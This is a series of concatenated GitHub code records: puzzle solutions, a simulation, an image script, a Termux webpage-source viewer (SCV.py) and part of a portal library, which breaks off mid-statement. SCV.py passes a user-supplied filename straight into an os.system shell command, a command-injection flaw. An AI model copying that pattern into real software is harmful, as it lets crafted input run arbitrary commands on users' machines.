ranges[x]\n\t\t\t\ttimestep = init_delay + x\n\t\t\t\tscanner_pos = sample_tri_wave(timestep, r - 1)\n\n\t\t\t\t# The packet only moves along the top row (0). If we collide then this delay is not feasible\n\t\t\t\tif scanner_pos == 0:\n\t\t\t\t\tinit_delay += 1\n\t\t\t\t\tsuccess = False\n\t\t\t\t\tbreak\n\n\t\t\texcept KeyError:\n\t\t\t\t# Some columns have no scanner range\n\t\t\t\tNone\n\n\treturn init_delay\n\n# The ping-pong motion of the scanner up and down the range creates a triangle wave graph that we can use to determine the \n# position of the scanner at any timestep. The amplitude is the scan range and x is the timestamp\n# \ndef sample_tri_wave(x, amp):\n\treturn amp - abs((x % (amp * 2)) - amp)\n\n# Read the ranges\nranges = {}\ntotal_timesteps = 0\n\nwith open(\"input.txt\") as data_file:\n\tfor line in data_file:\n\t\tsplit = line.rstrip().split(' ')\n\n\t\t# Ditch the colon\n\t\tsplit[0] = split[0].rstrip(':')\n\n\t\tr = int(split[0])\n\t\tranges[r] = int(split[1])\n\t\ttotal_timesteps = max(total_timesteps, r)\ntotal_timesteps += 1\n\n\nprint(part_one(ranges, total_timesteps))\nprint(part_two(ranges, total_timesteps))\n\n\n","repo_name":"RevDownie/AdventOfCodeSolutions","sub_path":"2017/Day13/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19308581390","text":"from random import  randint\n\ngroup_1 = (\"Ахмедов\", \"Жарко\", \"Ишин\", \"Ившина\", \"Ившина\", \"Васильев\", \"Шамбурова\", \"Финкельберг\", \"Мухин\", \"Бигалиев\")\ngroup_2 = (\"Мухин\", \"Боровков\", \"Лахин\", \"Киселев\", \"Осипов\", \"Сакулина\", \"Назарова\", \"Небогатиков\", \"Полуянов\", \"Новикова\")\n\nnums_1 = []\nnums_2 = []\n\nwhile len(nums_1) != 5:\n    num = randint(0, 9)\n    if num not in nums_1:\n        nums_1.append(num)\n\nwhile len(nums_2) != 5:\n    num = randint(0, 9)\n    if num not in nums_2:\n        nums_2.append(num)\n\nnew_tuple = ()\nfor num in nums_1:\n    new_tuple += (group_1[num],)\nfor num in nums_2:\n    new_tuple += (group_2[num],)\n\nprint(*group_1)\nprint(*group_2)\nprint(*new_tuple)\nprint(len(new_tuple))\nnew_tuple = tuple(sorted(new_tuple))\nprint(*new_tuple)\nif \"Иванов\" in new_tuple:\n    print(new_tuple.count(\"Иванов\"))\nelse:\n    print(\"Иванова нет\")","repo_name":"MaximZharko/lab5","sub_path":"5.4.py","file_name":"5.4.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"33344363823","text":"import networkx as nx \nimport matplotlib.pyplot as plt \nimport numpy as np \nimport matplotlib.animation as manimation\nimport matplotlib as mpl\n\ndef simulate_stochastic_frequency_dynamics(graph, steps, p, bias):\n\n\t#initialize a random initial state\n\tbiased_p = (1+bias)/2\n\tinitial_state = [1 if p < biased_p else 0 for p in np.random.rand(len(graph.nodes))]\n\n\tstates = {idx:state for idx,state in enumerate(initial_state)}\n\tnx.set_node_attributes(graph, states, 'state')\n\n\tstates = nx.get_node_attributes(graph,'state')\n\thistory = [states]\n\n\tfor s in range(steps):\n\n\t\tstates = history[-1]\n\t\t# also asynchronous\n\t\tfor node in graph.nodes:\n\n\t\t\tnbr_states = [states[n] for n in graph.neighbors(node)]\n\t\t\tcurrent_sign = graph.nodes[node]['state']\n\t\t\tif np.random.rand() < stochastic_frequency_probability_of_one(current_sign, p, nbr_states):\n\t\t\t\tgraph.nodes[node]['state'] = 1 \n\t\t\telse:\n\t\t\t\tgraph.nodes[node]['state'] = 0\n\n\t\thistory.append(nx.get_node_attributes(graph,'state'))\n\n\t# pos = nx.spring_layout(graph)\n\t# save_file = \"Images/StochFreq/\"\n\t# for i in range(len(history)):\n\t# \tplt.clf()\n\t# \tcolormap = ['purple' if node == 1 else 'yellow' for node in history[i].values()]\n\t# \tnx.draw(graph,node_color = colormap, pos = pos)\n\t# \tplt.savefig(\"{}{:04d}.png\".format(save_file,i))\n\n\treturn history\n\ndef stochastic_frequency_probability_of_flip(current_sign, p, nbr_states):\n\tq = (1-p)/2\n\tprob = q + p*sum(np.array(nbr_states)== current_sign)/len(nbr_states)\n\n\treturn prob\n\ndef stochastic_frequency_probability_of_one(current_sign, p, nbr_states):\n\tq = (1-p)/2\n\tprob = q + p*sum(np.array(nbr_states) == current_sign)/len(nbr_states)\n\n\tif current_sign == 0:\n\t\treturn prob\n\telse:\n\t\treturn 1 - prob\n\ndef simulate_mean_field_dynamics(T,kappa,p,p_0):\n\n\tps = [p_0]\n\tq = (1-p)/2\n\n\tfor i in range(T-1):\n\t\told_p = ps[-1]\n\n\t\tp_given_0 = q + p*old_p\n\t\tp_given_1 = q + p*(old_p)\n\n\t\tnew_p = p_given_1*old_p + p_given_0*(1-old_p)\n\n\t\tps.append(new_p)\n\n\treturn ps\n\n\n","repo_name":"tsudijon/LocalApproximation","sub_path":"SimulateProcesses/Oscillator/OscillatingCA.py","file_name":"OscillatingCA.py","file_ext":"py","file_size_in_byte":1947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"18981853987","text":"import cv2\nimport numpy as np\nimport sys\n\n\ndef find_edge(mask):\n\tresult = []\n\tfor i in range(mask.shape[0]):\n\t\tfor j in range(mask.shape[1]):\n\t\t\tif mask[i][j] == 255:\n\t\t\t\tif i == 0 or i == mask.shape[0]-1:\n\t\t\t\t\tresult.append([i, j])\n\t\t\t\telif j == 0 or j ==\tmask.shape[1]-1:\n\t\t\t\t\tresult.append([i, j])\n\t\t\t\telse:\n\t\t\t\t\tfor x in range(3):\n\t\t\t\t\t\tfor y in range(3):\n\t\t\t\t\t\t\tif x == 1 and y == 1:\n\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\tif mask[i-x+1][j-y+1] == 0:\n\t\t\t\t\t\t\t\tresult.append([i-x+1, j-y+1])\n\treturn result\n\nfilename = sys.argv[1]\nimg = cv2.imread(filename, cv2.IMREAD_UNCHANGED)\nprint(img.shape)\n\nb, g, r, a = cv2.split(img)\n\nedge_node = find_edge(a)\n\nwith open('test.node', 'w') as f:\n\tprint(len(edge_node), 2, 0, 1, file=f)\n\tfor i in range(len(edge_node)):\n\t\tprint(i+1, edge_node[i][0], edge_node[i][1], 1, file=f)","repo_name":"b05902062/image_cloning_tool","sub_path":"src/create_node.py","file_name":"create_node.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"16889009780","text":"#!/usr/python3\nimport os, time as t\n#Colors\nwhite = '\\033[0;37;40m'\ngreen = '\\033[1;32;40m'\nredyellow = '\\033[1;33;41m'\nred = '\\033[1;31;40m'\nload = '\\033[5;31;40m'\ncyan = '\\033[1;36;40m'\nyellow = '\\033[1;33;40m'\nblue = '\\033[1;34;40m'\nplus =  \"[+]\" + green\ncredit = ['Spider Anongreyhat', 'D3cryptor', 'AnonyminHack5']\nt.sleep(1)\nos.system(\"clear\")\nprint(red + \"Disclaimer:Use this script for educational purposes only.\\n\" + redyellow\n+ \"Spider Anongreyhat\" + red + \" won\\'t be responsible for any shit you used this script for\" + white)\nt.sleep(3)\nos.system(\"clear\")\nt.sleep(2)\ntry:\n    print(cyan + \"Cheking if requirement has been installed\" + load + \"..\" + white)\n    t.sleep(3)\n    import requests\n    import pyfiglet\n  \nexcept ModuleNotFoundError:\n    print(red + \"Ouch... :( \\nSome requirements are  not found!\\nBut don\\'t worry..requirements will be installed automatically\" + white)\n    t.sleep(3)\n    os.system(\"clear\")\n    t.sleep(2)\n    print(cyan + \"Installing requirements\" + load + \"...\" + white)\n    os.system(\"\"\"\n    pip install pyfiglet\n    pip install requests\n    \"\"\")\n    print(green + \"Run python3 SCV again\")\n    exit()\nprint(\"All done!!!\")\nt.sleep(2)\nos.system(\"clear\")\nbanner = pyfiglet.figlet_format(\"SourceCode-Viewer\")\ndef loop():\n    os.system('clear')\n    print(yellow + banner)\n    print(red +\"version 2.6\".center(60) + white)\n    print(yellow + plus + \" Tool Name: Source Code Viewer\\n\" + yellow + plus +  \" Creator: Spider Anongreyhat\\n\" + yellow + plus + \" Team: TermuxHackz Society\\n\" + yellow + plus + \" Github: https://github.com/spider863644\\n\" + yellow + plus + \" WhatsApp: +2349052863644\" + white)\n    print(\" \")\n    print(blue + \"\"\"\n[1] Get source code of a webpage and save {https  site only}\n[2] Get source code of a webpage and save {http sites only}\n[3] Update script\n[4] Join my WhatsApp group to colabborate with me\n[5] Exit Program\n\"\"\" )\n    try:\n        choice = int(input(redyellow + \"Choose a valid option \" + white))\n    except ValueError:\n        print(red + \"Only integers are allowed!\" + white)\n        t.sleep(1.5)\n        loop()\n    os.system(\"clear\")\n    if choice == 1:\n        print(green, credit, white)\n        Url = input(redyellow + \"Enter the url of the webpage you wanna get its source code \" + white)\n        filename = input(green + \"Enter filename without an extention: \")\n        if \"https://\" not in Url:\n            print(red + \"Invalid url!\")\n            t.sleep(2)\n            loop()\n        url = requests.get(Url)\n        os.system(\"clear\")\n        print(redyellow + \"Getting Source Code of \" + Url + load + \"...\" + white)\n        t.sleep(1)\n        try:\n            file = open(filename + \".html\", \"x\")\n        except:\n            print(red + \"File already exist!\")\n            t.sleep(3)\n            loop()\n        file.write((url.text))\n        file.close()\n        print(blue + url.text)\n        print(green + \"\\n\\nFile has been saved as \" + filename + \".html\")\n    elif choice == 2:\n        print(green, credit, white)\n        Url = input(redyellow + \"Enter the url of the webpage you wanna get its source code\" + white)\n        filename = input(green + \"Enter filename: \")\n        if \"http://\" not in Url:\n            print(red + \"invalid url!\" + white)\n            t.sleep(4)\n            loop()\n        url = requests.get(Url)\n        os.system(\"clear\")\n        print(redyellow + \"Getting Source code of \" + Url + load + \"...\" + white)\n        t.sleep(1)\n        try:\n            file = open(filename + \".html\", \"x\")\n        except:\n            print(red + \"File already exist!\")\n            t.sleep(3)\n            loop()\n        file.write((url.text))\n        file.close()\n        print(blue + url.text)\n        move = \"mv \" + filename + \".html /sdcard\"\n        os.system(move)\n        print(green + \"\\n\\nFile has been saved as \" + filename + \".html in internal home storage\" )\n    elif choice == 3:\n        os.system(\"clear\")\n        t.sleep(4)\n        print(redyellow + \"Updating Script\" + load + \"...\" + white)\n        t.sleep(3)\n        os.system(\"\"\"\n        cd\n        rm  SourceCode-Viewer_pro\n        cd $HOME\n        git clone https://github.com/spider863644/SourceCode-Viewer_pro\n        \"\"\")\n        print(cyan + \"\"\"Type the following Commands below\n        cd\n        cd SourceCode-Viewer_pro\n        \"\"\")\n        exit()\n    elif choice == 4:\n        os.system(\"clear\")\n        print(redyellow + \"Redirecting to my WhatsApp group\" + load + \"...\" + white)\n        t.sleep(4)\n        os.system(\"xdg-open https://chat.whatsapp.com/IWqGOsJPjkp2vXcMSJKYns\")\n        loop()\n    elif choice == 5:\n        print(red + \"Thanks for you using my script\\nAlways report any issue you face when using this tool so we can make a better version\")\n        t.sleep(3)\n        exit()\n    else:\n        print(Fore.RED + \"Invalid option\")\n        exit()\n    cont = input(redyellow + \"Do you wanna continue?[y/n] \" + white)\n    if cont == \"y\" or cont == \"Y\":\n        loop()\nloop() ","repo_name":"spider863644/SourceCode-Viewer_pro","sub_path":"SCV.py","file_name":"SCV.py","file_ext":"py","file_size_in_byte":4955,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"35"}
{"seq_id":"4977488032","text":"from pylabs import q, p\n\nimport os\nimport urllib\nimport inspect\nimport re\nimport functools\nimport time\nimport sqlalchemy\nfrom .authservice import AuthService\n\n# HACK - to be removed\n# Used for locking access to create page function in order to prevent creation of duplicate pages\nimport locklib\n\nADMINSPACE = \"Admin\"\nIDESPACE = \"IDE\"\n\nclass Alkira:\n    def __init__(self, api=None):\n        \"\"\"\n        Initialize the alkira library with a certain API\n\n        @param api: The application api (in APPSERVER content)\n        \"\"\"\n        self.KNOWN_TYPES = [\"py\", \"md\", \"html\", \"txt\"]\n\n        self.connection = api.model.ui\n        self.osis = p.application.getOsisConnection(api.appname)\n        self.api = api\n        self.authService = None\n        self._adminGroupGuid = None\n\n        # Get the pylabs user and group\n        mainConfig = q.config.getConfig('main').get('main', {})\n        self.pylabs_user = mainConfig.get('user')\n        self.pylabs_group = mainConfig.get('group')\n\n    @property\n    def adminGroupGuid(self):\n        if not self._adminGroupGuid:\n            import sys #pylint: disable=W0404\n            sys.path.insert(0, os.path.join(os.path.dirname(__file__), \"auth_backend\"))\n            authbackend = __import__(\"authbackend\", level=1)\n\n            self._adminGroupGuid = self._getGroupInfo(getattr(authbackend, \"ADMIN_GROUP\"))[0][\"guid\"]\n        return self._adminGroupGuid\n\n    def _callAuthService(self, method, oauthInfo=None, **args): #pylint: disable=W0613\n        if self.authService is None:\n            if not hasattr(p.api, \"model\") and hasattr(self.api, \"model\"):\n                p.api = self.api\n            self.authService = AuthService()\n\n        func = getattr(self.authService, method)\n        return func(**args)\n\n    def _getPageInfo(self, space, name):\n        page_filter = self.connection.page.getFilterObject()\n        page_filter.add('page', 'name', name, True)\n        page_filter.add('page', 'space', space, True)\n        page_info = self.connection.page.findAsView(page_filter, 'page')\n        return page_info\n\n    def _getSpaceGuid(self, space):\n        if isinstance(space, basestring):\n            if q.basetype.guid.check(space):  #pylint: disable=E1101\n                return space\n            else:\n                spaces = self._getSpaceInfo(space)\n                if not spaces:\n                    q.errorconditionhandler.raiseError(\"Space %s does not exist.\" % space)\n                return spaces[0]['guid']\n        elif isinstance(space, self.connection.space._ROOTOBJECTTYPE): #pylint: disable=W0212\n            return space.guid\n\n    def _getProjectGuid(self, project):\n        if isinstance(project, basestring):\n            if q.basetype.guid.check(project):  #pylint: disable=E1101\n                return project\n            else:\n                projects = self._getProjectInfo(project)\n                if not projects:\n                    q.errorconditionhandler.raiseError(\"Project %s does not exist.\" % project)\n                return projects[0]['guid']\n        elif isinstance(project, self.connection.project._ROOTOBJECTTYPE): #pylint: disable=W0212\n            return project.guid\n\n    def _getSpaceInfo(self, name=None):\n        _filter = self.connection.space.getFilterObject()\n        if name:\n            _filter.add('space', 'name', name, True)\n        space = self.connection.space.findAsView(_filter, 'space')\n        return space\n\n    def _getProjectInfo(self, name=None):\n        _filter = self.connection.project.getFilterObject()\n        if name:\n            _filter.add('project', 'name', name, True)\n        project = self.connection.project.findAsView(_filter, 'project')\n        return project\n\n    def _getParentGUIDS(self, guid_list):\n        parent_list = list()\n        for guid in guid_list:\n            page = self.connection.page.get(guid)\n            if page.parent:\n                parent_list.append(page.parent)\n\n        return parent_list\n\n    def _getDir(self, space, page=None):\n        fullName = space\n        if page:\n            fullName = q.system.fs.joinPaths(space, page)\n\n        return q.system.fs.joinPaths(q.dirs.pyAppsDir, self.api.appname, 'portal', 'spaces', fullName)\n\n    def _getType(self, pagename):\n        idx = pagename.rfind(\".\")\n        if idx <= 0:\n            return None\n        ext = pagename[idx + 1:]\n        if ext not in self.KNOWN_TYPES:\n            return None\n        return ext\n\n    def _removeJsHtmlMd(self, data):\n        # Remove Js Code enclosed in <script> tags:\n        removeJS = re.compile(r\"\"\"<script.*>.*</script>\"\"\", re.DOTALL)\n        data = removeJS.sub('', data)\n\n        # Remove Js Code enclosed in [[script]] tags:\n        removeJsFromMd = re.compile(r\"\"\"\\[\\[script.*\\]\\].*\\[\\[/script\\]\\]\"\"\", re.DOTALL)\n        data = removeJsFromMd.sub('', data)\n\n        # Remove all mark-down tags:\n        removeMD = re.compile(r\"\"\"(\\[\\[.*\\]\\].*\\[\\[/.*\\]\\])|\\[\\[.*/\\]\\]\"\"\", re.DOTALL)\n        data = removeMD.sub('', data)\n\n        # Remove all HTML tags:\n        removeHTML = re.compile(r\"\"\"<.*>\"\"\")\n        data = removeHTML.sub('', data)\n\n        # Remove trailing spaces:\n        removeSpaces = re.compile(r\"\"\"\\s*$\"\"\")\n        data = removeSpaces.sub('', data)\n\n        # Replace all newline characters with whitespaces:\n        replaceNl = re.compile(r\"\"\"\\n\"\"\")\n        return replaceNl.sub(' ', data)\n\n    #rename doesn't work accross different mount points but has higher performance, so we implemented this move functions\n    def _moveFile(self, filePath, new_name):\n        try:\n            q.system.fs.renameFile(filePath, new_name)\n        except: #pylint: disable=W0702\n            q.system.fs.moveFile(filePath, new_name)\n\n    def _moveDir(self, filePath, new_name):\n        try:\n            q.system.fs.renameDir(filePath, new_name)\n        except: #pylint: disable=W0702\n            q.system.fs.moveDir(filePath, new_name)\n\n    def listPages(self, space=None):\n        \"\"\"\n        Lists all the pages in a certain space.\n\n        @param space: The name, guid or space object of the space.\n        \"\"\"\n        return map(lambda i: i['name'], self.listPageInfo(space)) #pylint: disable=W0141\n\n    def listFilteredTitles(self, space=None, term=None):\n        \"\"\"\n        Lists pages in a certain space, filtering title with term.\n\n        @param space: The name, guid or space object of the space.\n        @param term: string to filter titles.\n        \"\"\"\n        ret = list()\n        pages = self.listPageInfo(space)\n        for page in pages:\n            if page['title'].lower().find(term.lower()) != -1:\n                ret.append(page['title'])\n        return ret\n\n    def countPages(self, space=None):\n        page = self.osis.findTable(\"ui\", \"page\")\n        select = sqlalchemy.select([ sqlalchemy.func.count(page.c.guid) ])\n        if space:\n            space = self._getSpaceGuid(space)\n            select.where(page.c.space == space)\n\n        return self.osis.runSqlAlchemyQuery(select).fetchone()[0]\n\n    def _splitSearchString(self, text):\n        wordList = list()\n\n        # First find all phrases enclosed in double quotes:\n        phrasesList = re.findall(\"\\\".*?\\\"\", text)\n        for phrase in phrasesList:\n            wordList.append(phrase[1:-1])\n\n        # Remove all previously detected phrases from the text and the remaining\n        # double quotes, then split the remaining text into words:\n        text = re.sub(\"\\\".*?\\\"\", \" \", text)\n        text = re.sub(\"\\\"\", \"\", text)\n        wordList.extend(text.split())\n\n        return wordList\n\n    def search(self, text=None, tags=None, title=None, query=None, qtype=None):\n        CONTENT_MAX_LENGTH = 100\n\n        index = self.osis.findTable(\"ui\", \"_index\")\n\n        columns = [ index.c.name, index.c.url, index.c.content, index.c.description ]\n        where = list()\n\n        # new way of handling search request brings type to determine\n        # how to search\n        if qtype == 'simple':\n            query = str(query)\n\n            if not query:\n                return list()\n\n            # Replace \\x07 characters back with double quotes since the enclosed double quotes\n            # are removed in the applicationserver if they are not encoded like this:\n            query = query.replace('\\x07', '\"')\n\n            # Search string is considered a phrase if enclosed in double quotes,\n            # otherwise each word from the string will be searched:\n            query = urllib.unquote_plus(query).lower()\n            wordList = self._splitSearchString(query)\n            for word in wordList:\n                # Each word should be found in at least one of those three db fields:\n                where.append(sqlalchemy.or_(\n                    index.c.content.ilike('%%%s%%' % word),\n                    index.c.tags.ilike('%%%s%%' % word),\n                    index.c.name.ilike('%%%s%%' % word)\n                ))\n        else:\n            # here we go with extended search that also can work as old-style search (no type)\n            text = str(text)\n            if not any([text, tags, title]):\n                return list()\n\n            if tags:\n                tags = urllib.unquote_plus(tags)\n                tags = tags.strip(', ')\n                where.append(index.c.tags.ilike('%%%s%%' % tags.lower()))\n\n            if text:\n                where.append(index.c.content.ilike('%%%s%%' % text.lower()))\n            if title:\n                where.append(index.c.name.ilike('%%%s%%' % title.lower()))\n\n        select = sqlalchemy.select(columns, whereclause=sqlalchemy.and_(*where))  #pylint:disable=W0142\n        qr = self.osis.runSqlAlchemyQuery(select)\n\n        # If description is present then use it, otherwise use page content:\n        result = []\n        for item in qr:\n            item = dict(item)\n            if item['description'] != None:\n                item['content'] = item['description']\n            elif item['content'] != None:\n                # Get rid of the HTML/mark-down tags and JS code:\n                item['content'] = self._removeJsHtmlMd(item['content'])\n                if len(item['content']) > CONTENT_MAX_LENGTH:\n                    item['content'] = item['content'][:CONTENT_MAX_LENGTH] + '...'\n            del item['description']\n            result.append(item)\n\n        return result\n\n    def listProjects(self):\n        \"\"\"\n        List all projects\n        \"\"\"\n        return map(lambda item: item[\"name\"], self.listProjectInfo()) #pylint: disable=W0141\n\n    def listProjectInfo(self, name=None):\n        \"\"\"\n        List projects info\n        \"\"\"\n        return self._getProjectInfo(name)\n\n    def listSpaces(self):\n        \"\"\"\n        Lists all the spaces.\n        \"\"\"\n        return map(lambda item: item[\"name\"], self.listSpaceInfo()) #pylint: disable=W0141\n\n    def listSpaceInfo(self, name=None):\n        \"\"\"\n        List all spaces info\n        \"\"\"\n        spaces = self._getSpaceInfo(name)\n        def byOrder(x, y):\n            #Always put the admin and ide spaces last if they don't have an order or if the order is set to None\n            if (x[\"name\"] == ADMINSPACE or x[\"name\"] == IDESPACE) and (\"order\" not in x or x[\"order\"] is None):\n                return 1\n            elif (y[\"name\"] == ADMINSPACE or y[\"name\"] == IDESPACE) and (\"order\" not in y or y[\"order\"] is None):\n                return -1\n\n            if \"order\" in x and x[\"order\"] != None:\n                if \"order\" in y and y[\"order\"] != None:\n                    return cmp(x[\"order\"], y[\"order\"])\n                else:\n                    return -1\n            else:\n                if \"order\" in y and y[\"order\"] != None:\n                    return 1\n                else:\n                    return 0\n\n        spaces.sort(byOrder)\n        return spaces\n\n    def listPageInfo(self, space=None):\n        \"\"\"\n        Lists all the pages in a space with their info.\n\n        @param space: The name, guid or space object of the space.\n        \"\"\"\n        _filter = self.connection.page.getFilterObject()\n        if space:\n            space = self._getSpaceGuid(space)\n            _filter.add('page', 'space', space, True)\n\n        return self.connection.page.findAsView(_filter, 'page')\n\n    def listChildPages(self, space, name = None):\n        \"\"\"\n        Lists child pages of page \"name\"\n\n        @type space: String\n        @param space: The name of the space.\n\n        @type name: String\n        @param name: The name of the parent page.\n        \"\"\"\n        space = self._getSpaceGuid(space)\n        filterObj = self.connection.page.getFilterObject()\n        filterObj.add('page', 'space', space, True)\n        #Get page guid\n        if name:\n            guid = self._getPageInfo(space, name)[0][\"guid\"]\n            filterObj.add('page', 'parent', guid, True)\n        else:\n            filterObj.add('page', 'parent', None, True)\n\n        query = self.connection.page.findAsView(filterObj, 'page')\n        return list(name[\"name\"] for name in query)\n\n    def spaceExists(self, name):\n        \"\"\"\n        Checks whether a space exists or not\n\n        @param name: Space name\n\n        @return: True if the space exists, False otherwise\n        \"\"\"\n        return bool(self._getSpaceInfo(name))\n\n    def projectExists(self, name):\n        \"\"\"\n        Checks whether a project exists or not\n\n        @param name: Project name\n\n        @return: True if the project exists, False otherwise\n        \"\"\"\n        return bool(self._getProjectInfo(name))\n\n    def pageExists(self, space, name):\n        \"\"\"\n        Checks whether a page exists or not.\n\n        @type space: String\n        @param space: The name of the space.\n\n        @type name: String\n        @param name: The name of the page.\n\n        @return: True if the page exists, False otherwise.\n        \"\"\"\n        space = self._getSpaceGuid(space)\n        if self._getPageInfo(space, name):\n            return True\n        else:\n            return False\n\n    def pageFind(self, name='', space='', category='', parent='', tags='', order=None, title='', exact_properties=None): #pylint: disable=W0613\n        filterObject = self.connection.page.getFilterObject()\n        exact_properties = exact_properties or ()\n\n        space = self._getSpaceGuid(space) if space else ''\n        frame = inspect.currentframe()\n        _, _, _, values = inspect.getargvalues(frame)\n\n        properties = ('name', 'space', 'category', 'parent', 'tags', 'order', 'title')\n        for property_name, value in values.iteritems():\n            if property_name in properties and not value in (None, ''):\n                exact = property_name in exact_properties\n                filterObject.add('page', property_name, value, exactMatch=exact)\n\n        return self.connection.page.find(filterObject)\n\n    def userFind(self, name='', exact_properties=None): #pylint: disable=W0613\n        filterObject = self.connection.user.getFilterObject()\n        exact_properties = exact_properties or ()\n\n        frame = inspect.currentframe()\n        _, _, _, values = inspect.getargvalues(frame)\n\n        properties = ('name')\n        for property_name, value in values.iteritems():\n            if property_name in properties and not value in (None, ''):\n                exact = property_name in exact_properties\n                filterObject.add('page', property_name, value, exactMatch=exact)\n\n        return self.connection.user.find(filterObject)\n\n    def getProject(self, project):\n        \"\"\"\n        Gets a project object\n\n        @param project: The project name, or guid\n        \"\"\"\n        if isinstance(project, self.connection.project._ROOTOBJECTTYPE): #pylint: disable=W0212\n            return project\n\n        guid = self._getProjectGuid(project)\n        return self.connection.project.get(guid)\n\n    def getSpace(self, space):\n        \"\"\"\n        Gets a space object\n\n        @param name: The space name, or guid\n        \"\"\"\n        if isinstance(space, self.connection.space._ROOTOBJECTTYPE): #pylint: disable=W0212\n            return space\n\n        space = self._getSpaceGuid(space)\n        return self.connection.space.get(space)\n\n    def getPage(self, space, name):\n        \"\"\"\n        Gets a page object.\n\n        @type space: String\n        @param space: The name of the space.\n\n        @type name: String\n        @param name: The name of the page.\n\n        @return: Page object.\n        \"\"\"\n        space = self._getSpaceGuid(space)\n        page_info = self._getPageInfo(space, name)\n        if not page_info:\n            q.errorconditionhandler.raiseError(\"Page %s does not exist.\" % name)\n        return self.connection.page.get(page_info[0]['guid'])\n\n    def getPageByGUID(self, guid):\n        \"\"\"\n        Get a page object by guid\n\n        @param guid: Page guid\n        \"\"\"\n\n        return self.connection.page.get(guid)\n\n    def deleteProject(self, project):\n        \"\"\"\n        Delete a project\n\n        @param project: Project name of GUID\n        \"\"\"\n        guid = self._getProjectGuid(project)\n        self.connection.project.delete(guid)\n\n    def deleteSpace(self, space):\n        \"\"\"\n        Delete space\n\n        @param space: The space name, object or guid to delete\n\n        @note: Deleting a space will delete all the pages in that space.\n        \"\"\"\n        if space in (ADMINSPACE, IDESPACE):\n            raise ValueError(\"%s space is not deletable\" % space)\n\n        space = self.getSpace(space)\n\n        pages = self.listPageInfo(space)\n\n        for page in pages:\n            self.connection.page.delete(page['guid'])\n\n        self.connection.space.delete(space.guid)\n        spacefile = 's_' + space.name\n        self.deletePage(ADMINSPACE, spacefile)\n        q.system.fs.removeDirTree(self._getDir(space.name))\n\n    def _syncPageToDisk(self, space, page, oldpagename=None, oldPageObject = None):\n        \"\"\"\n        this method writes the content's page to disk\n        the parameter oldPageObject is only used when a page is updated\n        @params space : string that represents the space name:, example View\n        @type   space : string\n        @params page  : object page\n        @type   page  : object\n        @params oldpagename : string that represents the page name(this is currently a guid)\n        @type   oldpagename : string\n        @params oldPageObject : object that represents the old page, in case of updating a page\n        @type   oldPageObject : object\n        \"\"\"\n\n        olddir = None\n        oldfile = None\n        if oldPageObject:\n            if page.parent != oldPageObject.parent:\n                oldfile  = self.getPageLocation(space, oldPageObject)\n                basedir  = q.system.fs.getDirName(oldfile)\n                basename = q.system.fs.getBaseName(oldfile)\n                olddir   = q.system.fs.joinPaths(basedir, os.path.splitext(basename)[0])\n            else:\n                oldPageObject = None\n\n        crumbs = self._breadcrumbs(page)\n        _join = q.system.fs.joinPaths\n        _isfile = q.system.fs.isFile\n        _isdir = q.system.fs.isDir\n        _write = q.system.fs.writeFile\n\n        _dir = self._getDir(space)\n        upper = _dir\n        for i, level in enumerate(crumbs):\n            name = level['name']\n            filename = name + \".md\"\n            _file = _join(_dir, filename)\n            _dir = _join(_dir, name)\n\n            if i == len(crumbs) - 1:\n                if oldpagename and not oldPageObject:\n                    oldfile = _join(upper, oldpagename + \".md\")\n                    olddir = _join(upper, oldpagename)\n\n                if olddir:\n                    if _isfile(oldfile):\n                        self._moveFile(oldfile, _file)\n                    if _isdir(olddir):\n                        self._moveDir(olddir, _dir)\n\n                _write(_file, page.content)\n                if self.pylabs_user and self.pylabs_group:\n                    q.system.unix.chown(_file, self.pylabs_user, self.pylabs_group)\n            else:\n                if not _isdir(_dir):\n                    q.system.fs.createDir(_dir)\n                    if self.pylabs_user and self.pylabs_group:\n                        q.system.unix.chown(_dir, self.pylabs_user, self.pylabs_group)\n\n            upper = _dir\n\n    def getPageLocation(self, space, page):\n        \"\"\"\n        this method returns the absoulte file path of a page\n        @params space : string that represents the space name:, example View\n        @type   space : string\n        @params page  : object page\n        @type   page  : object\n        \"\"\"\n\n        crumbs = self._breadcrumbs(page)\n        _join = q.system.fs.joinPaths\n\n        _dir = self._getDir(space)\n        for level in crumbs:\n            name = level['name']\n            filename = name + \".md\"\n            _file = _join(_dir, filename)\n            _dir = _join(_dir, name)\n\n        return _file\n\n    def _syncPageDelete(self, space, crumbs):\n        _join = q.system.fs.joinPaths\n        _isfile = q.system.fs.isFile\n        _isdir = q.system.fs.isDir\n\n        _dir = self._getDir(space)\n        for i, level in enumerate(crumbs):\n            name = level['name']\n            filename = name + \".md\"\n            _file = _join(_dir, filename)\n            _dir = _join(_dir, name)\n\n            if i == len(crumbs) - 1:\n                if _isdir(_dir):\n                    q.system.fs.removeDirTree(_dir)\n                if _isfile(_file):\n                    q.system.fs.removeFile(_file)\n\n    def _deletePage(self, space, page):\n        def deleterecursive(guid):\n            _filter = self.connection.page.getFilterObject()\n            _filter.add('page', \"parent\", guid, True)\n\n            for chguid in self.connection.page.find(_filter):\n                deleterecursive(chguid)\n\n            self.connection.page.delete(guid)\n\n        crumbs = self._breadcrumbs(page)\n        deleterecursive(page.guid)\n        self._syncPageDelete(space, crumbs)\n\n    def deletePageByGUID(self, guid):\n        \"\"\"\n        Deletes a page and its chlidren (recursively).\n\n        @type guid: GUID\n        @param guid: Page guid\n        \"\"\"\n        page = self.getPageByGUID(guid)\n        space = self.getSpace(page.space)\n        self._deletePage(space.name, page)\n\n    def deletePage(self, space, name):\n        page = self.getPage(space, name)\n        self._deletePage(space, page)\n\n    def createSpace(self, name, tagsList=list(), repository=\"\", repo_username=\"\", repo_password=\"\", order=None, createHomePage=True):\n        if self.spaceExists(name):\n            q.errorconditionhandler.raiseError(\"Space %s already exists.\" % name)\n\n        space = self.connection.space.new()\n        space.name = name\n        space.tags = ' '.join(tagsList)\n\n        repo = space.repository.new()\n        repo.url = repository\n        repo.username = repo_username\n        repo.password = repo_password\n        space.repository = 